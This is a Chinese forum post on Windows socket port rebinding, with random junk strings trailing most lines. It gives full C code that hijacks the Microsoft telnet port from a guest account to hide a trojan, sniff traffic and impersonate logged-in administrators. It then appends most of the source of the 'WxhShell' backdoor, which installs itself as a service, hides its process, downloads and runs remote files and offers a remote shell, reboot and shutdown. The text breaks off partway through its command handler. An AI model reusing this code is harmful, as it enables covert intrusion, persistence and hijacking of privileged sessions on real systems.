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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sY&r bJ(P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S`iM.;|`O  
]rKH|i  
  saddr.sin_family = AF_INET; CdE2w?1  
[qq`cT@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TZ)(ZKX*R  
l@ (t^68OD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z(#XFXd  
34HFrMi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X}kVBT1w+x  
s#M? tyhj  
  这意味着什么?意味着可以进行如下的攻击: 'Wd3`4V$  
ikeJDKSG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @?(nwj~ s`  
+ ?[ ACZF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @DRfNJ}  
)WzGy~p8K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3XMBu*  
\;4L~_2$q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `@W3sW/^  
}S1Z>ZA5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zS#f%{   
Tq_1wX'\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H!Fr("6}  
$@XPL~4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3^uL`ETm@  
bf&.rJ0  
  #include RI7qsm6RN  
  #include :5q^\xmmq  
  #include }?\#_BCjx(  
  #include    sASAsGk<  
  DWORD WINAPI ClientThread(LPVOID lpParam);    dfYYyE  
  int main() AycA :<  
  { WoC\a^V  
  WORD wVersionRequested; 1)nM#@%](h  
  DWORD ret; k 2 mkOb  
  WSADATA wsaData; Q%_!xQP`  
  BOOL val; E,"b*l.  
  SOCKADDR_IN saddr; :..E:HdYO  
  SOCKADDR_IN scaddr; w-{#6/<kI5  
  int err; /@xr[=L  
  SOCKET s; !8H!Fj`|j  
  SOCKET sc; TPN:cA6[c  
  int caddsize; eUGm ns  
  HANDLE mt; ~)oWSo5ll  
  DWORD tid;   b6rzHnl{  
  wVersionRequested = MAKEWORD( 2, 2 ); 3}.mp}K 5  
  err = WSAStartup( wVersionRequested, &wsaData ); 0`aHwt/F  
  if ( err != 0 ) { IeqWR4Y  
  printf("error!WSAStartup failed!\n"); "RR./e)h  
  return -1; uaZ"x& oZ#  
  } ru(?a~lF8~  
  saddr.sin_family = AF_INET; =N[V{2}q  
    (9'G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k}+MvGq  
HZ[68T[8b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &Nj:XX;X  
  saddr.sin_port = htons(23); Gx~"iM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7Z(lI|a;  
  { .j+2x[`l  
  printf("error!socket failed!\n"); ^Y*`D_-G  
  return -1; f6(9wz$Trt  
  } O4'kS @  
  val = TRUE; q_%w l5\F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y'+F0IZ+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wnZ*k(  
  { Xm0&U?dZB  
  printf("error!setsockopt failed!\n"); A1=$kzw{UH  
  return -1; [xp~@5r'  
  } <*b]JY V@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wAj(v6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ps{&WT3a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ajcPt]f  
t6H2tP\AS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^| a&%wxA  
  { lL(}dbT~N  
  ret=GetLastError(); lhW#IiX  
  printf("error!bind failed!\n"); +lXdRc`6  
  return -1; qAuUe=w%p  
  } =_H*fhXS  
  listen(s,2); ux/[d6To  
  while(1) 7kWZMi  
  { ;{F;e)${M  
  caddsize = sizeof(scaddr); }y -AoG  
  //接受连接请求 4,R\3`b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s1*WK&@  
  if(sc!=INVALID_SOCKET) D; 35@gtj  
  { t0AqGrn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $HR(|{piZ  
  if(mt==NULL) (0+GLI8  
  { TnZc.  
  printf("Thread Creat Failed!\n"); l,FG:"`Z@  
  break; iA{chQBr  
  } aF4V|?+  
  } gen3"\Og{  
  CloseHandle(mt); 7p"~:1hU  
  } E}CqVuU$  
  closesocket(s); J?HZ,7X:  
  WSACleanup(); =>9.@`.  
  return 0; NiJ?no  
  }   ;MdK3c  
  DWORD WINAPI ClientThread(LPVOID lpParam) q}7Df!<|  
  { Y;I(6`,Y  
  SOCKET ss = (SOCKET)lpParam; a_#eGe>  
  SOCKET sc; =:R[gdA#1  
  unsigned char buf[4096]; )eedfb1  
  SOCKADDR_IN saddr; zWR*g/i  
  long num; CH R?i1e  
  DWORD val; ED =BZR  
  DWORD ret; L}sm R,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 80l3.z,:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    vCH v  
  saddr.sin_family = AF_INET; s"^YW+HMb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qT-nD}  
  saddr.sin_port = htons(23); 3 v,ae7$U&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F" #3s=  
  { xr7<(:d  
  printf("error!socket failed!\n"); :O @,Z_"  
  return -1; X:} 5L> '  
  } *MyS7<  
  val = 100; vng8{Mx90*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l8n[8AT1  
  { ]qP}\+:  
  ret = GetLastError(); vG Lb2Q  
  return -1; #.t$A9'  
  } ^Ihdq89t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JcALFKLB  
  { "=5vgg3  
  ret = GetLastError(); `efH(  
  return -1; hcqmjqJ  
  } [2fiHE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x@bl]Z(ne/  
  { #lVl?F+~  
  printf("error!socket connect failed!\n"); DuC u6j  
  closesocket(sc); KX`nHu;  
  closesocket(ss); YI(OrR;V  
  return -1; %cjGeS6}  
  } KL_}:O68  
  while(1) /n3&e  
  { 0o'ML""j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x`|tT%q@l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J$ih|nP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +`vZg^_c`  
  num = recv(ss,buf,4096,0); qZ]VS/5A  
  if(num>0) / )u,Oa  
  send(sc,buf,num,0); 0dX=  
  else if(num==0) a_fW {;}[  
  break; LyPBFo[?  
  num = recv(sc,buf,4096,0); o5G"J"vxe  
  if(num>0) s$y#Ufz  
  send(ss,buf,num,0); C5n=2luI_  
  else if(num==0) kAF}*&Kzd~  
  break; lL+^n~g  
  } TXOW/{B  
  closesocket(ss); Dp |FyP_w  
  closesocket(sc); EQ`t:jc {  
  return 0 ; r#Oz0=0u  
  } DO,&Foh\  
Ak-7}i  
Xq)%w#l5?  
========================================================== '!L1z45  
/>I8nS}T  
下边附上一个代码,,WXhSHELL 0*M}QXt  
xr-`i  
========================================================== _CwQ}n*  
9PfU'm|h  
#include "stdafx.h" 1kw4'#J8  
(c|qX-%rC  
#include <stdio.h> O)Dw<j)  
#include <string.h> Oqe.t;E 0}  
#include <windows.h> >u#VHaB  
#include <winsock2.h> ~acK$.#  
#include <winsvc.h> B91PlM.  
#include <urlmon.h> "}aM*(l+\  
_!p$47  
#pragma comment (lib, "Ws2_32.lib") :Ty*i  
#pragma comment (lib, "urlmon.lib") +&8Ud8Q  
Q>c6ouuJ  
#define MAX_USER   100 // 最大客户端连接数 Y_YIJ@  
#define BUF_SOCK   200 // sock buffer <%JO 3E  
#define KEY_BUFF   255 // 输入 buffer `-YSFQ~O,  
DN{G$$or  
#define REBOOT     0   // 重启 s ^@Cq=  
#define SHUTDOWN   1   // 关机 ?Pw \&q  
_5`S)G{  
#define DEF_PORT   5000 // 监听端口 %~(i[Ur;  
X',0MBQ0  
#define REG_LEN     16   // 注册表键长度 q _|5,_a  
#define SVC_LEN     80   // NT服务名长度 2/q=l?  
]<z(Rmn`Q  
// 从dll定义API ffd 3QQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4'b]2Mn3   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v!9Imf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  y, _3Ks  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AFUl   
R*fR?  
// wxhshell配置信息 ^b. MR?9  
struct WSCFG { j;'Wf[V  
  int ws_port;         // 监听端口 Z6@J-<u  
  char ws_passstr[REG_LEN]; // 口令 'yjH~F.  
  int ws_autoins;       // 安装标记, 1=yes 0=no !#s7 F  
  char ws_regname[REG_LEN]; // 注册表键名 O +}EE^*a  
  char ws_svcname[REG_LEN]; // 服务名 Rw8m5U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &nw ~gSe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ou,_l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YEoT_>A$dB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V *y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2,nCGSfc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M:f=JuAx  
C2i..iD  
}; ~y^lNgujO  
<&Xq`i/(  
// default Wxhshell configuration 2/N*Uk 0  
struct WSCFG wscfg={DEF_PORT, F;@&uXYgc  
    "xuhuanlingzhe", l;kZS  
    1, g}KZL-p4\m  
    "Wxhshell", *uM*)6O 3  
    "Wxhshell", b u9&sQ;  
            "WxhShell Service", wcT6d?*5  
    "Wrsky Windows CmdShell Service", 0J</`/gH  
    "Please Input Your Password: ", B;_3IHMO  
  1, $zi\ /Yw  
  "http://www.wrsky.com/wxhshell.exe", SnU{ZGR>sP  
  "Wxhshell.exe" A6.'1OD  
    }; ^ w1R"qE"m  
2` qXD fD`  
// 消息定义模块 'PbA/MN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M oHvXp;X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gi >{`.]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aC 0Jfo  
char *msg_ws_ext="\n\rExit."; X6 cb#s0|  
char *msg_ws_end="\n\rQuit."; $O!<Zz   
char *msg_ws_boot="\n\rReboot..."; qEz'l'%(  
char *msg_ws_poff="\n\rShutdown..."; P9wDTZ :4  
char *msg_ws_down="\n\rSave to "; 0+i,,^x.  
+[`%b3Nk  
char *msg_ws_err="\n\rErr!"; ibw;BU  
char *msg_ws_ok="\n\rOK!"; EBLoRW=8ld  
K 5[ 3WHQ  
char ExeFile[MAX_PATH]; bOKNWI   
int nUser = 0; h!GixN?  
HANDLE handles[MAX_USER]; ~C x2Q4E  
int OsIsNt; Jj:4@p:  
+,>bpp1  
SERVICE_STATUS       serviceStatus; Q6>( Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 Vqvb|  
zxdO3I  
// 函数声明 Jl ?Q}SB  
int Install(void); x0GZ2*vfsb  
int Uninstall(void); bf(&N-"A  
int DownloadFile(char *sURL, SOCKET wsh); DL_\luh  
int Boot(int flag); Ts6X:D4,  
void HideProc(void); czRh.kz,  
int GetOsVer(void); AFED YRX  
int Wxhshell(SOCKET wsl); .x%SbG<k{  
void TalkWithClient(void *cs); T,>e\  
int CmdShell(SOCKET sock); 4*W7{MPY  
int StartFromService(void); $@wkQ%  
int StartWxhshell(LPSTR lpCmdLine); fh<G& E8 p  
TD7ONa-,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `I$A;OPK7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k#[s)Ja?s  
!o!04_  
// 数据结构和表定义 T7'$A!c  
SERVICE_TABLE_ENTRY DispatchTable[] = )_?$B6hf,&  
{ KW<CU'  
{wscfg.ws_svcname, NTServiceMain}, Um<vsR  
{NULL, NULL} -Ma"V  
}; rgY~8PY"  
V.1sZYA9  
// 自我安装 v g]&T  
int Install(void) p6)UR~9Rs  
{ {{,%p#/b  
  char svExeFile[MAX_PATH]; )' #(1 ,1k  
  HKEY key; _: K\v8  
  strcpy(svExeFile,ExeFile); Efl+`6`J  
IIZsN*^  
// 如果是win9x系统,修改注册表设为自启动 _I!&w!3oM  
if(!OsIsNt) { kpu^:N &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0<9TyN6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B"v=Fr[  
  RegCloseKey(key); [4e5(!e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uX[ "w|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ex3woT-  
  RegCloseKey(key); }dM^6 Kd%  
  return 0; qQ_QF  
    } D6WsEd>  
  } GZo4uwG@a  
} <~OyV5:6  
else { ND>}t#^$  
qfU3Cwy  
// 如果是NT以上系统,安装为系统服务 }d(6N&;"zN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u@B"*V~K  
if (schSCManager!=0) ]'q<wPi  
{ YBP{4Rl  
  SC_HANDLE schService = CreateService *gn*S3Is[j  
  ( W% ud nJ  
  schSCManager, -tQ|&fl  
  wscfg.ws_svcname, 7@?b _  
  wscfg.ws_svcdisp, tDo0Q/`  
  SERVICE_ALL_ACCESS, BR'|hG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~7 Tz Ub  
  SERVICE_AUTO_START, u+_#qk0NfK  
  SERVICE_ERROR_NORMAL, w6_}] &F  
  svExeFile, L;[*F-+jD  
  NULL, guvQISQlY  
  NULL, d}Om?kn  
  NULL, iJBZnU:Mp  
  NULL, (L1`]cp  
  NULL W#!\.m`5  
  ); nq=fSK(  
  if (schService!=0) >. Y ~F(  
  { 6_Kz}PQ  
  CloseServiceHandle(schService); q}jf&xUWzH  
  CloseServiceHandle(schSCManager); bBX~ZWw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jVz1`\Nje  
  strcat(svExeFile,wscfg.ws_svcname); '<Gqu_-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v|GvN|_|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; F=_ozWV*  
  RegCloseKey(key); @4i D N  
  return 0; LsXYvX  
    } >@"j9  
  } d:D2[  
  CloseServiceHandle(schSCManager); 1;W>ceN"  
} C6n4OU  
} SxDE3A-:  
Li2)~4p><  
return 1; |1D`v9  
} "{k3~epYaN  
9M<? *8)  
// 自我卸载 VsC]z, oV  
int Uninstall(void) ;IT^SHym  
{ #d~"bn q;c  
  HKEY key; c nzPq\  
oC [g  
if(!OsIsNt) { u2t<auE9^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e([&Nr8h  
  RegDeleteValue(key,wscfg.ws_regname); \ *2IU"R  
  RegCloseKey(key); pGIeW}2'9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \&H%k   
  RegDeleteValue(key,wscfg.ws_regname); 0`W~2ai  
  RegCloseKey(key); C\{4<:<_&  
  return 0; !cZsIcIe  
  } r!#3>F;B  
} H2]I__t/u  
} ZZTV >:  
else { Lh}he:k+  
wb}tN7~Y;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F!xK#~e   
if (schSCManager!=0) sR6 (8  
{ aqB^  %e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0e7!_ /9  
  if (schService!=0) YblRwic  
  { ;Y"J j  
  if(DeleteService(schService)!=0) { Ol? 2Qy.2)  
  CloseServiceHandle(schService); +FiV!nRkZ  
  CloseServiceHandle(schSCManager); n'ro5D  
  return 0; =N=,;<6%A  
  } G<-.{Gx)  
  CloseServiceHandle(schService); Z8 T{Xw6%  
  } 0pR04"`;  
  CloseServiceHandle(schSCManager); 3 *G=U  
} SCjACQ}-  
} EP[ gq  
"rXGXQu  
return 1; *=v RX!sI,  
} ?sO_c3^7z  
\o^+'4hq<5  
// 从指定url下载文件 % ;<FfS  
int DownloadFile(char *sURL, SOCKET wsh) ?o4&cCFOE  
{ '/j`j>'!^  
  HRESULT hr; 1$^{Uma  
char seps[]= "/"; 8p FSm>  
char *token; R:e:B7O~0  
char *file; oI>;O#  
char myURL[MAX_PATH]; "CaVT7L  
char myFILE[MAX_PATH]; pQp}HD!-  
+|.#<]GA  
strcpy(myURL,sURL); {b?)|@)is  
  token=strtok(myURL,seps); /EC m  
  while(token!=NULL) _ReQQti[  
  { "K8qmggTq  
    file=token; !-QKh aY  
  token=strtok(NULL,seps); 1)r1/0  
  } ,y0kzwPR1  
;#;X@BhS  
GetCurrentDirectory(MAX_PATH,myFILE); gQ?k}D  
strcat(myFILE, "\\"); +o/q@&v;Ax  
strcat(myFILE, file); $d"6y  
  send(wsh,myFILE,strlen(myFILE),0); Ev()2 80  
send(wsh,"...",3,0); %$cwbh-{{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 `+*({  
  if(hr==S_OK) 9J?j2!D  
return 0; %=]{~5f>  
else L^=>)\R2$[  
return 1; +q4T];<  
'.iUv#j4Sh  
} EgY]U1{  
PQfx0n,  
// 系统电源模块 v uJ~Lg{  
int Boot(int flag) }$7Hf+G  
{ {*|yU"  
  HANDLE hToken; dlW w=^  
  TOKEN_PRIVILEGES tkp; p?}Rolk7  
j#*K[  
  if(OsIsNt) { D\k);BU~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); os2yiF",   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &v:iC u^|  
    tkp.PrivilegeCount = 1; q%JV"9,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YFW+l~[#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MVdE7P  
if(flag==REBOOT) { q)P<lKi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $/D@=P kc  
  return 0; _ pJU~8  
} qYpHH!!C=  
else { x[vX|oE!A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mU3UQ j  
  return 0; )QX9T  
} 'C[gcp  
  } rGN-jb)T+  
  else { nBNZ@nD  
if(flag==REBOOT) { BjB2YO& /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;w1h)  
  return 0; S4|)N,#  
} -F*j`  
else { iBZ+gsSP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &o?pZ(\C  
  return 0; kh`X92~  
} 5Zq- |"|  
} ]-R8W/fDn  
J)R2O4OEd  
return 1; LJBoS]~  
} lFB Ka ,6  
Qc3 !FW<26  
// win9x进程隐藏模块 0 xPML}|V  
void HideProc(void) Db2G)63  
{ =^{^KHzIl3  
eo@:@O+bm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IlaH,J7n  
  if ( hKernel != NULL ) ^ML2xh  
  { 0^.q5#A2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LIR2B"3F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .M_;mhRI  
    FreeLibrary(hKernel); ~zuMX ;[  
  } o2jnmv~  
QZDGk4GG  
return; B aXzz  
} ^c=@2#^\  
\TKv3N  
// 获取操作系统版本 ncWASw`  
int GetOsVer(void) 'dx4L }d  
{ H\O|Y@uVr  
  OSVERSIONINFO winfo; 1XSqgr"3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V-jo2+Y5=  
  GetVersionEx(&winfo); p HWol!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uqkh@-6-  
  return 1; BG'gk#J+f  
  else Q,s,EooIx  
  return 0; QJ$]~)w?H  
} MY0Wr%@#0  
KYlWV<sR  
// 客户端句柄模块 5uu{f&?u)  
int Wxhshell(SOCKET wsl) +8~S28"Wg3  
{ cW MZw|t  
  SOCKET wsh; )>=`[$D1t  
  struct sockaddr_in client; hwexv 9""  
  DWORD myID; ^tpy8TQ  
[7$<sN<'  
  while(nUser<MAX_USER) (=p}b:Z  
{ * yt/ Dj  
  int nSize=sizeof(client); I{M2nQi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {8t;nsdm!  
  if(wsh==INVALID_SOCKET) return 1; 6k ^vF~  
u]zb<)'_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9%)'QDVGLf  
if(handles[nUser]==0) ;T/' CD  
  closesocket(wsh); ~kYF/B2*  
else RRV&!<l@$  
  nUser++; ,PY<AI^59  
  } 2!jbaSH(+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U:`rNHl  
>;HXH^q  
  return 0; #8[,w.X  
} %,>,J`  
|FKo}>4  
// 关闭 socket P~?u2,.E[  
void CloseIt(SOCKET wsh) #ReW#?P%b/  
{ =r GkM.^  
closesocket(wsh); YXBS!89m  
nUser--; $-o39A#  
ExitThread(0); G"J6X e  
} I2zSoQ1P  
S:DB%V3  
// 客户端请求句柄 2y,~i;;_  
void TalkWithClient(void *cs) @UvjJ  
{ $bD!./fl  
[J:vSt  
  SOCKET wsh=(SOCKET)cs; !WbQ`]uN/#  
  char pwd[SVC_LEN]; F@?QVdY1q7  
  char cmd[KEY_BUFF]; + J_W}G  
char chr[1]; ]ImS@!Ajjx  
int i,j; F*Qw%  
5ptbz<Xv  
  while (nUser < MAX_USER) { {5*+  
N\H(AzMw  
if(wscfg.ws_passstr) { K<N0%c~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m 81\cg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % 3FI>\3  
  //ZeroMemory(pwd,KEY_BUFF); !3Pl]S~6!  
      i=0; /wIZ '  
  while(i<SVC_LEN) { 2b!b-  
ZW,PZ<  
  // 设置超时 z?V> ST  
  fd_set FdRead; 4N*^%  
  struct timeval TimeOut; D:){T>  
  FD_ZERO(&FdRead); HLk/C[`u,  
  FD_SET(wsh,&FdRead); #Xsby  
  TimeOut.tv_sec=8; dU+1@_  
  TimeOut.tv_usec=0; ,(lD5iN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q}I. UG_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;M}bQ88  
H#6J7\xcS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !n !~Bw  
  pwd=chr[0]; />]/At  
  if(chr[0]==0xd || chr[0]==0xa) { }~\J7R'  
  pwd=0; 4;%=ohD:!  
  break; ))eR  
  } js2?t~E]  
  i++; 8lbNw_U  
    } p%j@2U  
_gU [FUBtJ  
  // 如果是非法用户,关闭 socket Ih"f98lV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^gv)[  
} ]jM D'vg^b  
KxiZx I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M"~B_t,Nw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &0Nd9%>  
;r8,Wx@f1C  
while(1) { ZVda0lex&  
6`EyzB%.$  
  ZeroMemory(cmd,KEY_BUFF); }<S|_F  
C10A$=!  
      // 自动支持客户端 telnet标准   \7W {/v4^  
  j=0; y<B "  
  while(j<KEY_BUFF) { R[o KhU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' Bdvqq  
  cmd[j]=chr[0]; @ /c{gD  
  if(chr[0]==0xa || chr[0]==0xd) { `SOaQ|H  
  cmd[j]=0; p61"a,Xc  
  break; 5%+T~ E*  
  } I /RvU,  
  j++; b/<4\f  
    } en#W<"_"  
& yw-y4 =  
  // 下载文件 HaLEQ73  
  if(strstr(cmd,"http://")) { #r0A<+t{T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _pk=IHGsB  
  if(DownloadFile(cmd,wsh)) ,![C8il,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); idz6m]{~yT  
  else BXm{x6\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Be?mIwc_g  
  } ,P5HR+h  
  else { -@AGQ+e  
6`%}s3Xq  
    switch(cmd[0]) { +}z T][9w  
  8CMI\yk  
  // 帮助 QULrE+@  
  case '?': { 4yjAi@ /2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _3ZZ-=J:=*  
    break; P]INYH  
  } >YPfk=0f0  
  // 安装 >oLM2VJ  
  case 'i': { 2R.YHj  
    if(Install()) 4|x5-m+T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >iaZGXje  
    else hLO nX<%a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VSM%<-iQ  
    break; |h8C}P&Z  
    } m|e!1_ :H  
  // 卸载 D*_ F@}=  
  case 'r': { /l@7MxE  
    if(Uninstall()) :90DS_4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $g 5pKk  
    else Rm6<"SLV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $D8KEkW  
    break; b>;5#OQfn  
    } ^oaG.)3  
  // 显示 wxhshell 所在路径 NOo&5@z;H  
  case 'p': { TlAY=JwW  
    char svExeFile[MAX_PATH]; m;8_A|$A  
    strcpy(svExeFile,"\n\r"); cLJ|VD7  
      strcat(svExeFile,ExeFile); ;`@DQvVZ:  
        send(wsh,svExeFile,strlen(svExeFile),0); W@/D2K(  
    break; wG19NX(  
    } #& R x(  
  // 重启 rHN>fySn7  
  case 'b': { %`%1W MO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7dN]OUdi  
    if(Boot(REBOOT)) D[yaAG<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _MnMT9  
    else { kU4Zij-O  
    closesocket(wsh); ;Mw9}Reh@  
    ExitThread(0); -O. MfI+  
    } {.eC"  
    break; nhQ.U>&-M  
    } "RZ)pav?  
